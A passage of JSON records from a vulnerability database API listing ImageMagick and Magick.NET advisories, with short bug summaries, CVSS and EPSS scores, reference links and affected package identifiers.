], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55212.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55212", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00392", "scoring_system": "epss", "scoring_elements": "0.60532", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55212" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55212", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55212" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/5f0bcf986b8b5e90567750d31a37af502b73f2af", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/5f0bcf986b8b5e90567750d31a37af502b73f2af" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111587", "reference_id": "1111587", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111587" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391088", "reference_id": "2391088", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391088" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55212", "reference_id": "CVE-2025-55212", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55212" }, { "reference_url": "https://github.com/advisories/GHSA-fh55-q5pj-pxgw", "reference_id": "GHSA-fh55-q5pj-pxgw", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-fh55-q5pj-pxgw" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fh55-q5pj-pxgw", "reference_id": "GHSA-fh55-q5pj-pxgw", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-26T19:36:13Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fh55-q5pj-pxgw" }, { "reference_url": "https://usn.ubuntu.com/7756-1/", "reference_id": "USN-7756-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7756-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86265?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.8.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.8.1" } ], "aliases": [ "CVE-2025-55212", "GHSA-fh55-q5pj-pxgw" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-yhp9-y1y3-nyh8" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50358?format=api", "vulnerability_id": "VCID-yxmc-uvt6-ebgw", "summary": "ImageMagick has a heap Buffer Over-read in its DJVU image format handler\nA heap Buffer Over-read vulnerability exists in the DJVU image format handler. The vulnerability occurs due to integer truncation when calculating the stride (row size) for pixel buffer allocation. The stride calculation overflows a 32-bit signed integer, resulting in an out-of-bounds memory reads.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27799.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27799.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27799", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00018", "scoring_system": "epss", "scoring_elements": "0.04883", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27799" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27799", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27799" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T17:03:55Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/e87695b3227978ad70b967b8d054baaf8ac2cced", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T17:03:55Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/e87695b3227978ad70b967b8d054baaf8ac2cced" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442879", "reference_id": "2442879", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442879" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27799", "reference_id": "CVE-2026-27799", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27799" }, { "reference_url": "https://github.com/advisories/GHSA-r99p-5442-q2x2", "reference_id": "GHSA-r99p-5442-q2x2", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-r99p-5442-q2x2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r99p-5442-q2x2", "reference_id": "GHSA-r99p-5442-q2x2", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T17:03:55Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-r99p-5442-q2x2" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-27799", "GHSA-r99p-5442-q2x2" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-yxmc-uvt6-ebgw" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50317?format=api", "vulnerability_id": "VCID-z52g-6wk3-3ufj", "summary": "ImageMagick: Invalid MSL <map> can result in a use after free\nThe MSL interpreter crashes when processing a invalid `<map>` element that causes it to use an image after it has been freed.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26983.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26983.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26983", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00017", "scoring_system": "epss", "scoring_elements": "0.04373", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26983" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26983", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26983" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/7cfae4da24a995fb05386d77364ff404a7cca7bc", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/7cfae4da24a995fb05386d77364ff404a7cca7bc" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442134", "reference_id": "2442134", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442134" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26983", "reference_id": "CVE-2026-26983", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26983" }, { "reference_url": "https://github.com/advisories/GHSA-w8mw-frc6-r7m8", "reference_id": "GHSA-w8mw-frc6-r7m8", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-w8mw-frc6-r7m8" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-w8mw-frc6-r7m8", "reference_id": "GHSA-w8mw-frc6-r7m8", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:09:37Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-w8mw-frc6-r7m8" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-26983", "GHSA-w8mw-frc6-r7m8" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-z52g-6wk3-3ufj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57969?format=api", "vulnerability_id": "VCID-z5ve-fkb6-8yhs", "summary": "ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree\n- **Target:** ImageMagick (commit `ecc9a5eb456747374bae8e07038ba10b3d8821b3`)\n- **Type:** Undefined Behavior (function-type-mismatch) in splay tree cloning callback\n- **Impact:** Deterministic abort under UBSan (DoS in sanitizer builds). No crash in a non-sanitized build; likely low security impact.\n- **Trigger:** Minimal **2-byte** input parsed via MagickWand, then coalescing.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55160.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-55160.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55160", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0007", "scoring_system": "epss", "scoring_elements": "0.21663", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-55160" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55160", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55160" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3.1", "scoring_elements": 